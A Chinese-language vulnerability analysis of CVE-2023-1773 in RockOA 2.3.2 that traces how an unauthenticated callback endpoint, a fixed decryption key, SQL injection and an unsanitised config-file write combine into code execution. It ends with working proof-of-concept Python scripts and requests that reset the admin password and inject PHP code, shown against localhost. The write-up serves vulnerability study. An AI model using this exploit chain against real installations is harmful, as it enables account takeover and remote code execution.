一、漏洞入口
根据 CVE 官网(https://www.cve.org/CVERecord?id=CVE-2023-1773)的描述:

它将该漏洞归类为 RockOA 2.3.2 的 webmainConfig.php 相关代码注入漏洞,一些漏洞数据库基本都复用了该表述:



但经源码审计,漏洞根因更准确地说是配置保存逻辑未正确处理用户可控输入,导致可控内容写入 PHP 配置文件并在后续包含加载时触发代码注入。
真正的漏洞入口文件是 webmain\system\cog\cogAction.php,聚焦其中的 savecongAjax() 方法(截取了关键部分):
public function savecongAjax() { if(getconfig('systype')=='demo')exit('演示上禁止设置'); if($this->getsession('isadmin')!='1')exit('非管理员不能操作'); $str = '<?php if(!defined(\'HOST\'))die(\'not access\'); //['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件 return array( '.$str1.' );'; @$bo = file_put_contents($_confpath, $str); }
|
首先,这是需要管理员权限才能进行的操作,为了使讲述逻辑更清晰,先假设“已经登入了管理员账号”
$this->adminname 未经过滤直接拼接进了 PHP 源码当中,若该对象用户可控,将其改为:
拼接之后,得到的 PHP 代码就是:
<?php if(!defined(\'HOST\'))die(\'not access\'); //[ phpinfo();//]在<某时刻>通过[系统→系统工具→系统设置],保存修改了配置文件 return array($str1);
|
接着:
file_put_contents($_confpath, $str)
|
这会将 $str 写入指定文件($_confpath)当中。
具体是哪个文件呢?
还是当前文件,可以找到定义:
$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
|
追踪链条,先确定 $this->rock 对象:
$this->rock = $GLOBALS['rock'];
|
取自全局变量 $rock:
查看类定义,并且找到 strformat 方法:
public function strformat($str) { $len = func_num_args(); $arr = array(); for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i); $s = $this->stringformat($str, $arr); return $s; }
public function stringformat($str, $arr=array()) { $s = $str; for($i=0; $i<count($arr); $i++){ $s=str_replace('?'.$i.'', $arr[$i], $s); } return $s; }
|
虽然 strformat 方法签名只写了一个形式参数,但 PHP 允许你在调用时传入更多参数,也就是我们看到的:
$this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
|
这时:
$str = '?0/?1/?1Config.php'
|
后面的:
不会丢失,而是可以通过 PHP 的可变参数函数取出来,源码中用到的就是:
$len = func_num_args(); func_get_arg(0); func_get_arg(1); func_get_arg(2);
|
然后这段:
$arr = array(); for($i=1; $i<$len; $i++) { $arr[] = func_get_arg($i); }
|
创建了一个空数组,接着将参数(第 0 个参数除外)一一放入数组当中。
再传给:
$s = $this->stringformat($str, $arr);
|
带入具体参数即:
stringformat('?0/?1/?1Config.php', array(ROOT_PATH, PROJECT))
|
这个方法实现的是替换操作,即:
?0 -> ROOT_PATH ?1 -> PROJECT
|
最终得到:
ROOT_PATH/PROJECT/PROJECTConfig.php
|
这就是最终会被修改的文件。
接下来就是找到:
的具体指代了,分别找到他们的定义:
define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__)))); if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));
|
因此,最终的结果就是:
<web根目录>/webmain/webmainConfig.php
|
webmainConfig.php 这个名字是不是很熟悉?没错,前面列举的漏洞数据库中的表述均提到了这个文件。
二、webmainConfig.php
这个文件为什么是关键呢?
上面我们提到,file_put_contents 函数会将一段未经过滤的数据写入 webmainConfig.php 文件中。
现在,假设 $this->adminname 这个用户真的可控,那么一旦 webmainConfig.php 这个文件被其他文件包含(即作为 PHP 代码使用而非文本),就会出现安全问题。
在 VScode 中进行搜索,直接搜索文件名是找不到有用的结果的(均只有注释的内容):

但是,通过前面的分析我们知道 $_confpath 这个变量就是指代该文件,再次搜索,就可以找到在 config\config.php 文件中:
$_confpath = $rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT); if(file_exists($_confpath)){ $_tempconf = require($_confpath); foreach($_tempconf as $_tkey=>$_tvs)$config[$_tkey] = $_tvs; if(isempt($config['url']))$config['url'] = $rock->url(); if(!isempt($config['memory_limit']) && function_exists('ini_set')) ini_set('memory_limit', $config['memory_limit']); if($config['timeout']>-1 && function_exists('set_time_limit'))set_time_limit($config['timeout']); }
|
require() 就是 PHP 的文件包含函数之一。
从文件名也可以看出,这是一个配置文件,也可能存在被其他文件包含的现象,找到个最具代表性而且路由也方便的文件(index.php):

这说明了,只要访问 index.php 文件,它就会包含 webmainConfig.php。
接下来,就是要证明之前的假设($this->adminname 用户可控)成立了。
三、$this->adminname
之前看到的这段:
$str = '<?php if(!defined(\'HOST\'))die(\'not access\'); //['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件 return array( '.$str1.' );';
|
是在类:
之中,这个类是 Action 的子类:
class cogClassAction extends Action
|
在父类 Action 中可以看到定义,以及相关方法:
public $adminid = 0; public $adminuser = ''; public $adminname = ''; public $admintoken = ''; public $companyid = 0; public $loadci = 0; public $flow;
protected $ajaxbool = 'false';
public function getlogin($lx=0) { $this->ajaxbool = $this->rock->jm->gettoken('ajaxbool', 'false'); $this->adminid = (int)$this->getsession('adminid',0); $this->adminuser = $this->getsession('adminuser'); $this->adminname = $this->getsession('adminname'); $this->admintoken = $this->getsession('admintoken'); $this->companyid = $this->getsession('companyid'); $this->setNowUser($this->adminid, $this->adminname, $this->adminuser); $agid = $this->rock->get('agentid'); if($agid!='')$this->rock->savesession(array('wxqyagentid' => $agid)); $platsign= $this->rock->get('platsign'); if($platsign!='')$this->rock->savesession(array('platsign' => $platsign)); if($lx==0)$this->logincheck(); }
|
聚焦:
$this->adminname = $this->getsession('adminname');
|
getsession 在 Action 的父类 mainAction 有定义:
public function getsession($name,$dev='') { return $this->rock->session($name, $dev); }
|
$this->rock 对象我们之前追踪过,直接找到对应方法的定义:
public function session($name,$dev='') { $val = ''; $name = QOM.$name; if(isset($_SESSION[$name]))$val=$_SESSION[$name]; if($this->isempt($val))$val=$dev; return $val; }
|
即可以表述成
$this->adminname = session('adminname', '');
|
只要在 SESSION 中定义了 name 字段,那么 $this->adminname 就会被赋值成该字段的值。
可是这个值,一般都是在服务器端存储,只做校验,无法通过用户请求直接修改该值。
四、SQLi
这个 CVE 是由多个不安全操作共同导致的,在文件 webmain\task\api\reimplatAction.php 中存在 SQL 注入:
if($msgtype=='editmobile'){ $user = arrvalue($data, 'user'); $mobile = arrvalue($data, 'mobile'); $where = "`user`='$user'"; $upstr = "`mobile`='$mobile'"; $db->update($upstr, $where); $dbs = m('admin'); $dbs->update($upstr,$where); $uid = $dbs->getmou('id',$where); m('userinfo')->update($upstr,"`id`='$uid'"); }
|
聚焦:
找到对应的链:
$db = m('reimplat:dept');
function m($name) { $cls = NULL; $pats = $nac = ''; $nas = $name; $asq = explode(':', $nas); if(count($asq)>1){ $nas = $asq[1]; $nac = $asq[0]; $pats = $nac.'/'; $_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php'; if(file_exists($_pats)){ include_once($_pats); $class = ''.$nac.'Model'; $cls = new $class($nas); } } $class = ''.$nas.'ClassModel'; $path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php'; if(file_exists($path)){ include_once($path); if($nac!='')$class= $nac.'_'.$class; $cls = new $class($nas); } if($cls==NULL)$cls = new sModel($nas); return $cls; }
|
会包含下述两个文件:
<Web根目录>/webmain/model/reimplat/reimplat.php <Web根目录>/webmain/model/reimplat/deptModel.php
|
并且返回:
$cls = new sModel('dept'); return $cls;
|
即:
$db = new sModel('dept');
|
找到方法 update():
$this->db = $GLOBALS['db'];
public function update($arr,$where) { return $this->record($arr, $where); }
public function record($arr, $where='') { return $this->db->record($this->table, $arr, $where); }
|
注意构造方法:
public function __construct($table='') { $this->rock = $GLOBALS['rock']; $this->db = $GLOBALS['db']; $this->adminid = $this->rock->adminid; $this->adminname = $this->rock->adminname; $this->settable($table); $this->initModel(); }
|
传输进来的“dept”是作为表名存在的。
还需要找到全局变量 $db 的定义:
$this->db = import(DB_DRIVE); $GLOBALS['db'] = $this->db;
|
继续追踪 DB_DRIVE:
define('DB_DRIVE', $config['db_drive']);
|
继续追踪:
$config = array( …… 'db_drive' => 'mysqli', …… );
|
现在明白了 import 的实际上是:
$this->db = import(mysqli);
|
这个系统自己定义了 import 函数:
function import($name, $inbo=true) { $class = ''.$name.'Class'; $path = ''.ROOT_PATH.'/include/class/'.$class.'.php'; $cls = NULL; if(file_exists($path)){ include_once($path); if($inbo){ $cls = new $class(); } } return $cls; }
|
所以实际包含的是:
<Web根目录>/include/class/mysqliClass.php
|
找到对应的文件就可以看到 record 方法的定义了:
public function record($table,$array,$where='') { $addbool = true; if(!$this->isempt($where))$addbool=false; $cont = ''; if(is_array($array)){ foreach($array as $key=>$val){ $cont.=",`$key`=".$this->toaddval($val).""; } $cont = substr($cont,1); }else{ $cont = $array; } if($addbool){ $sql="insert into `$table` set $cont"; }else{ $where = $this->getwhere($where); $sql="update `$table` set $cont where $where"; } return $this->tranbegin($sql); }
|
注意:该方法并非直接在 mysqli.php 中,而是在其父类中,即文件 include\class\mysql.php。
整理一下,得到:
$db->update($upstr, $where);
|
等价于:
record($this->table, $upstr, $where);
|
注意看其中的:
$sql="update `$table` set $cont where $where";
|
没有过滤直接拼接了变量,并且后续的 SQL 执行操作并没有涉及到防御:
return $this->tranbegin($sql);
private function tranbegin($sql) { if($this->conn == null)$this->connect(); $this->iudcount++; if(!$this->tran){ } $rsa = $this->query($sql); $this->iudarr[]=$rsa; if(!$rsa)$this->errorbool = true; return $rsa; }
public function query($sql, $ebo=true) { if($this->conn == null)$this->connect(); if($this->conn == null)exit('数据库的帐号/密码有错误!'.$this->errormsg.''); $sql = trim($sql); $sql = str_replace(array('[Q]','[q]','{asqom}'), array($this->perfix, $this->perfix,''), $sql); $this->countsql++; $this->sqlarr[] = $sql; $this->nowsql = $sql; $this->count = 0; try { $rsbool = $this->querysql($sql); } catch (Exception $e) { $rsbool = false; $this->errormsg = $e->getMessage(); } $this->nowerror = false; if(!$rsbool)$this->nowerror = true; $stabs = ''.$this->perfix.'log'; if(!contain($sql, $stabs) && !$rsbool)$this->errorlast = $this->error(); if(!$rsbool && $ebo){ $txt = '[ERROR SQL]'.chr(10).''.$sql.''.chr(10).''.chr(10).'[Reason]'.chr(10).''.$this->error().''.chr(10).''; $efile = $this->rock->debug($txt,''.DB_DRIVE.'_sqlerr', true); $errmsg = str_replace("'",''', $this->error()); if(!contain($sql, $stabs)){ m('log')->addlogs('错误SQL',''.$errmsg.'', 2, array( 'url' => $efile )); } } return $rsbool; }
protected function querysql($sql){return false;}
|
这就坐实了存在 SQLi。
接下来只需要搞定 $mobile 变量的来源:
$mobile = arrvalue($data, 'mobile');
|
追踪 $data 变量:
$body = $this->getpostdata(); $key = $db->gethkey(); $bodystr = $this->jm->strunlook($body, $key); $data = json_decode($bodystr, true);
|
可以看到,通过 POST 接收数据后,分别进行了解密和 JSON 反序列化操作。
换言之,在构造 POST 请求正文的时候,先得进行 JSON 序列化操作然后再进行加密,这样服务器端才能正常处理请求。
先找到 $this->jm 对象:
$this->jm = c('jm', true);
|
继续追踪:
function c($name, $inbo=true, $param1='', $param2='') { $class = ''.$name.'Chajian'; $path = ''.ROOT_PATH.'/include/chajian/'.$class.'.php'; $cls = NULL; if(file_exists($path)){ include_once($path); if($inbo)$cls = new $class($param1, $param2); } return $cls; }
|
带入具体参数:
找到该类的定义就能找到对应的加密与解密方法:
public function strlook($data,$key='') { if(isempt($data))return ''; if($key=='')$key = md5($this->jmsstr); $x = 0; $len = strlen($data); $l = strlen($key); $char = $str = ''; for ($i = 0; $i < $len; $i++){ if ($x == $l) { $x = 0; } $char .= $key[$x]; $x++; } for ($i = 0; $i < $len; $i++){ $str .= chr(ord($data[$i]) + (ord($char[$i])) % 256); } return $this->base64encode($str); }
public function strunlook($data,$key='') { if(isempt($data))return ''; if($key=='')$key = md5($this->jmsstr); $x = 0; $data = $this->base64decode($data); $len = strlen($data); $l = strlen($key); $char = $str = ''; for ($i = 0; $i < $len; $i++){ if ($x == $l) { $x = 0; } $char .= substr($key, $x, 1); $x++; } for ($i = 0; $i < $len; $i++){ if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))){ $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1))); }else{ $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1))); } } return $str; }
|
不难发现,这并不是标准的加密算法,而是作者自己实现的。
查看密钥来源:
public function gethkey() { $key = $this->reimplat_huitoken; if(isempt($key))$key = $this->reimplat_secret; if(isempt($key))$key = $this->reimplat_cnum; return md5($key); }
|
这三个属性:
reimplat_huitoken reimplat_secret reimplat_cnum
|
是 REIM 平台参数。
但是开发者在部署 OA 的时候并不一定采用该配套平台,换言之,这三个参数的值可能都为空,那么返回值就是固定的了。
代码可以精简成:
结果就是:
d41d8cd98f00b204e9800998ecf8427e
|
综上,在未配置 REIM 平台参数的部署状态下,回调解密密钥退化为公开固定值,这就是我们可以任意构造 POST 正文的关键。
五、路由
攻击链路很清楚了:通过 SQLi 修改 adminname,接着通过 savecongAjax() 方法将修改后的数据写入 webmainConfig.php 文件中,最后访问 index.php 就可以触发注入的代码。
现在要解决的就是路由问题了,即如何访问对应文件和方法。
一般在 index.php 中会有对应逻辑:
<?php include_once('config/config.php'); $_uurl = $rock->get('rewriteurl'); $d = ''; $m = 'index'; $a = 'default'; if($_uurl != ''){ unset($_GET['m']);unset($_GET['d']);unset($_GET['a']); $m = $_uurl; $_uurla = explode('_', $_uurl); if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];} if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];} $_uurla = explode('?',$_SERVER['REQUEST_URI']); if(isset($_uurla[1])){ $_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){ $_uurlasa = explode('=', $_uurlas); if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1]; } } }else{ $m = $rock->jm->gettoken('m', 'index'); $d = $rock->jm->gettoken('d'); $a = $rock->jm->gettoken('a', 'default'); } $ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $mode = $rock->get('m', $m); if(!$config['install'] && $mode != 'install')$rock->location('?m=install'); include_once('include/View.php');
|
可以看到还包含了一个文件 include/View.php:
<?php if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $ajaxbool = $rock->get('ajaxbool', $ajaxbool); $p = PROJECT; if(!isset($m))$m='index'; if(!isset($a))$a='default'; if(!isset($d))$d=''; $m = $rock->get('m', $m); $a = $rock->get('a', $a); $d = $rock->get('d', $d);
define('M', $m); define('A', $a); define('D', $d); define('P', $p);
$_m = $m; if($rock->contain($m, '|')){ $_mas = explode('|', $m); $m = $_mas[0]; $_m = $_mas[1]; } include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p)); $rand = date('YmdHis').rand(1000,9999); if(substr($d,-1)!='/' && $d!='')$d.='/'; $errormsg = ''; $methodbool = true; $actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m); define('ACTPATH', $actpath); $actfile = $rock->strformat('?0/?1Action.php',$actpath, $m); $actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m); $actbstr = null; if(file_exists($actfile1))include_once($actfile1); if(file_exists($actfile)){ include_once($actfile); $clsname = ''.$m.'ClassAction'; $xhrock = new $clsname(); $actname = ''.$a.'Action'; if($ajaxbool == 'true')$actname = ''.$a.'Ajax'; if(method_exists($xhrock, $actname)){ $xhrock->beforeAction(); $actbstr = $xhrock->$actname(); $xhrock->bodyMessage = $actbstr; if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;} if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;} }else{ $methodbool = false; if($ajaxbool == 'false')echo ''.$actname.' not found;'; } $xhrock->afterAction(); }else{ echo 'actionfile not exists;'; $xhrock = new Action(); }
$_showbool = false; if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){ $xhrock->smartydata['p'] = $p; $xhrock->smartydata['a'] = $a; $xhrock->smartydata['m'] = $m; $xhrock->smartydata['d'] = $d; $xhrock->smartydata['rand'] = $rand; $xhrock->smartydata['qom'] = QOM; $xhrock->smartydata['path'] = PATH; $xhrock->smartydata['sysurl']= SYSURL; $temppath = ''.ROOT_PATH.'/'.$p.'/'; $tplpaths = ''.$temppath.''.$d.''.$m.'/'; $tplname = 'tpl_'.$m.''; if($a!='default')$tplname .= '_'.$a.''; $tplname .= '.'.$xhrock->tpldom.''; $mpathname = $tplpaths.$tplname; if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile; if(!file_exists($mpathname) || !$methodbool){ if(!$methodbool){ $errormsg = 'in ('.$m.') not found Method('.$a.');'; }else{ $errormsg = ''.$tplname.' not exists;'; } echo $errormsg; }else{ $_showbool = true; } } if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){ $xhrock->setHtmlData(); $da = $xhrock->smartydata; foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v; include_once($mpathname); $_showbool = false; }
|
聚焦三个可控变量:
$m = $rock->get('m', $m); $a = $rock->get('a', $a); $d = $rock->get('d', $d);
|
路由的目的地是由一些包含函数实现的:
$p = PROJECT;
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p)); $rand = date('YmdHis').rand(1000,9999); if(substr($d,-1)!='/' && $d!='')$d.='/'; $errormsg = ''; $methodbool = true; $actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m); define('ACTPATH', $actpath); $actfile = $rock->strformat('?0/?1Action.php',$actpath, $m); $actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m); $actbstr = null; if(file_exists($actfile1))include_once($actfile1); if(file_exists($actfile)){ include_once($actfile);
|
最终访问的文件是:
<Web根目录>/webmain/webmainAction.php <Web根目录>/webmain/$d$_m/$mAction.php <Web根目录>/webmain/$d$_m/$_mAction.php
|
并且:
$clsname = ''.$m.'ClassAction'; $xhrock = new $clsname(); $actname = ''.$a.'Action'; if($ajaxbool == 'true')$actname = ''.$a.'Ajax'; if(method_exists($xhrock, $actname)){ $xhrock->beforeAction(); $actbstr = $xhrock->$actname(); $xhrock->bodyMessage = $actbstr; if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;} if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;} }else{ $methodbool = false; if($ajaxbool == 'false')echo ''.$actname.' not found;'; }
|
会实例化类:
并且访问其中的方法(注意不同的情况会调用不同的方法):
ajaxbool=false / html / 未传 → 调用 $aAction()
ajaxbool=true → 调用 $aAjax()
|
六、未授权访问
在讲“漏洞入口”的时候,我们假设了“已经登入管理员账号”。
换言之,只有登入了管理员账号后,后面的攻击链才成立。
上面提到,SQLi 存在的位置是 webmain\task\api\reimplatAction.php,在类 reimplatClassAction 中有一个方法:
public function initAction() { $this->display= false; }
|
它重构了其父类的 initAction() 方法:
public function initAction() { $this->display= false; $time = time(); $this->cfrom= $this->request('cfrom'); $this->token= $this->request('token', $this->admintoken); $this->adminid = (int)$this->request('adminid', $this->adminid); $this->adminname = ''; $boss = (M == 'login|api'); if(!$boss){ if($this->isempt($this->token))$this->showreturn('','token invalid', 199); $lodb = m('login'); $onto = $lodb->getone("`uid`='$this->adminid' and `token`='$this->token' and `online`=1"); if(!$onto)$this->showreturn('','登录失效,请重新登录', 199); $lodb->update("`moddt`='{$this->rock->now}'", $onto['id']); } $this->userrs = m('admin')->getone("`id`='$this->adminid' and `status`=1", '`name`,`user`,`id`,`ranking`,`deptname`,`deptid`'); if(!$this->userrs && !$boss){ $this->showreturn('', '用户已经不存在了,请重新登录', 199); } $this->adminname = arrvalue($this->userrs, 'name'); $this->rock->adminid = $this->adminid; $this->rock->adminname = $this->adminname; $this->admintoken = $this->token; }
|
可以看到,其父类是有一套 Token 验证机制的,但是它将其重构,变成了没有验证。
一直追溯其父类、祖父类,能看到构造方法:
public function __construct() { $this->rock = $GLOBALS['rock']; $this->smarty = $GLOBALS['smarty']; $this->jm = c('jm', true); $_obj = c('lang');if($_obj!=NULL && method_exists($_obj,'initLang'))$_obj->initLang(); $this->now = $this->rock->now(); $this->date = $this->rock->date; $this->ip = $this->rock->ip; $this->web = $this->rock->web; $this->perfix = PREFIX; $this->display = true; $this->initMysql(); $this->initConstruct(); $this->initProject(); $this->initAction(); }
|
即当 reimplatClassAction 被实例化的时候,initAction() 会自动被调用,但是并不会有任何 Token 的检查措施。
而且我们还注意到:
if($msgtype=='editpass'){ $user = arrvalue($data, 'user'); $pass = arrvalue($data, 'pass'); if($pass && $user){ $where = "`user`='$user'"; $mima = md5($pass); m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where); } }
|
indexAction() 方法中,还能修改密码,而且修改的还是 admin 表中的,我们可以利用这点直接未授权修改管理员的密码,然后登入管理员账号。
七、Poc 构造
1、修改管理员密码
接口:
http://127.0.0.1:8080?m=reimplat%7Capi&a=index&d=task
|
为了方便大家分析,同样列出未 URL 编码前:http://127.0.0.1:8080/task.php?m=reimplat|api&a=index&d=task
根据我们之前的路由分析,这个 URL 会路由到:
<Web根目录>/webmain/task/api/reimplatAction.php
|
并且实例化:
还访问其中的方法(注意不同的情况会调用不同的方法):
修改密码:
import base64 import requests
key = 'd41d8cd98f00b204e9800998ecf8427e'.encode('ascii')
json_str = '{"msgtype":"editpass","user":"admin","pass":"cve123456"}' data = json_str.encode('utf-8')
out = bytearray(len(data)) for i in range(len(data)): out[i] = (data[i] + key[i % len(key)]) % 256
body = base64.b64encode(out).decode('ascii')
url = 'http://127.0.0.1:8080?m=reimplat|api&a=index&d=task' headers = {'Content-Type': 'text/plain'}
response = requests.post( url, data=body, headers=headers, proxies={'http': None, 'https': None} )
print(f"Status: {response.status_code}") print(f"Response: {response.text}")
|
2、SQLi
接下来就是通过 SQLi 实现 adminname 的修改,我们的核心 payload 就是:
{ "msgtype": "editmobile", "user": "admin", "mobile": "1',name='\nphpinfo();//" }
|
这会使得 SQL 语句变成:
update `admin` set `mobile`='1',name='\nphpinfo();//' where `user`='admin'
|
这就会使得 admin 的 name 字段被修改,对应的就是 adminname 被修改。
但是我们不能明文传输,因为服务器有加密逻辑,因此需要加密后再传输。
将服务器端的加密和解密逻辑写成对应的 Python 代码:
import base64 import json from typing import Any, Union
def is_empty(value: Any) -> bool: """ 近似模拟 PHP isempt(): 这里只把 None、空字符串、空 bytes 视为空。 """ return value is None or value == "" or value == b""
def rock_base64_encode(data: Union[str, bytes]) -> str: """ 对应 PHP:
base64_encode($str); str_replace(array('+', '/', '='), array('!', '.', ':'), $str); """ if is_empty(data): return ""
if isinstance(data, str): data = data.encode("utf-8")
encoded = base64.b64encode(data).decode("ascii") return encoded.replace("+", "!").replace("/", ".").replace("=", ":")
def rock_base64_decode(data: str) -> bytes: """ 对应 PHP:
str_replace(array('!', '.', ':'), array('+', '/', '='), $str); base64_decode($str); """ if is_empty(data): return b""
normalized = data.replace("!", "+").replace(".", "/").replace(":", "=") return base64.b64decode(normalized)
def strlook_bytes(data: bytes, key: str) -> str: """ 对应 PHP strlook($data, $key)
明文字节 + key 字节,然后做自定义 base64。 """ if is_empty(data): return ""
if is_empty(key): raise ValueError("key 不能为空")
key_bytes = key.encode("utf-8") key_len = len(key_bytes)
out = bytearray()
for i, b in enumerate(data): k = key_bytes[i % key_len] out.append((b + k) % 256)
return rock_base64_encode(bytes(out))
def strunlook_bytes(ciphertext: str, key: str) -> bytes: """ 对应 PHP strunlook($data, $key)
自定义 base64 解码后,密文字节 - key 字节。 """ if is_empty(ciphertext): return b""
if is_empty(key): raise ValueError("key 不能为空")
cipher_bytes = rock_base64_decode(ciphertext) key_bytes = key.encode("utf-8") key_len = len(key_bytes)
out = bytearray()
for i, b in enumerate(cipher_bytes): k = key_bytes[i % key_len]
if b < k: out.append((b + 256) - k) else: out.append(b - k)
return bytes(out)
def strlook_text(plaintext: str, key: str) -> str: """ 明文字符串加密。 """ return strlook_bytes(plaintext.encode("utf-8"), key)
def strunlook_text(ciphertext: str, key: str, encoding: str = "utf-8") -> str: """ 密文解密成字符串。 """ return strunlook_bytes(ciphertext, key).decode(encoding, errors="replace")
def encode_json_body(obj: Any, key: str) -> str: """ 把 Python 对象转成紧凑 JSON,然后按信呼 OA strlook() 加密。
推荐用这个构造 POST body。 单引号、双引号、中文、反斜杠等都交给 json.dumps() 自动处理。 """ plaintext = json.dumps( obj, ensure_ascii=False, separators=(",", ":") ) return strlook_text(plaintext, key)
def decode_json_body(ciphertext: str, key: str) -> Any: """ 解密 POST body,并尝试按 JSON 解析。 """ plaintext = strunlook_text(ciphertext, key) return json.loads(plaintext)
def main(): key = "d41d8cd98f00b204e9800998ecf8427e"
data = { "msgtype": "editmobile", "user": "admin", "mobile": "1',name='\nphpinfo();//" }
print("[*] 原始 Python 对象:") print(data)
plaintext = json.dumps(data, ensure_ascii=False, separators=(",", ":")) print("\n[*] JSON 明文:") print(plaintext)
ciphertext = strlook_text(plaintext, key) print("\n[*] 加密后的 POST body:") print(ciphertext)
decrypted_text = strunlook_text(ciphertext, key) print("\n[*] 解密后的 JSON 明文:") print(decrypted_text)
decrypted_obj = json.loads(decrypted_text) print("\n[*] 解密后的 Python 对象:") print(decrypted_obj)
if __name__ == "__main__": main()
|
运行后得到加密后的内容:
[*] 加密后的 POST body: 31ae15.X3amdiGpSx5aZqNKompmcnltkh9jZnaZUcYfFmJ7NpoWQW6XVkpnOl1Juh2pfXJ6app2iisKmpJqnztKaoIxhnpNoWuM:
|
接着继续访问接口:
http://127.0.0.1:8080?m=reimplat%7Capi&a=index&d=task
|
在 Burp 中将其修改成 POST 传值,并且将上面得到的正文内容复制上去:

注意:复现的时候,上述步骤完成后,退出登入并再次登入,否则信息并不会刷新。
3、触发写入
接下来就是触发写入 webmainConfig.php,访问 URL:
http://127.0.0.1:8080?a=savecong&m=cog&d=system&ajaxbool=true
|

4、再次访问 index.php
再次访问 index.php 的时候,就出现:

八、结语
通过这次分析可以看到,真实漏洞往往不只是某一个危险函数或某一行拼接代码造成的,而是路由设计、鉴权逻辑、业务接口、加密实现、数据库封装和配置写入机制共同作用的结果。对于源码审计来说,关键不在于孤立地寻找 file_put_contents()、require() 或 SQL 拼接,而在于把外部输入如何进入系统、如何被变换、如何跨越权限边界、最终如何抵达危险点完整串联起来。CVE-2023-1773 的价值也正在于此:它提供了一个很典型的老 PHP 系统审计样本,提醒我们在分析漏洞时,既要关注最终触发点,也要重视那些看似“只是业务逻辑”的中间环节。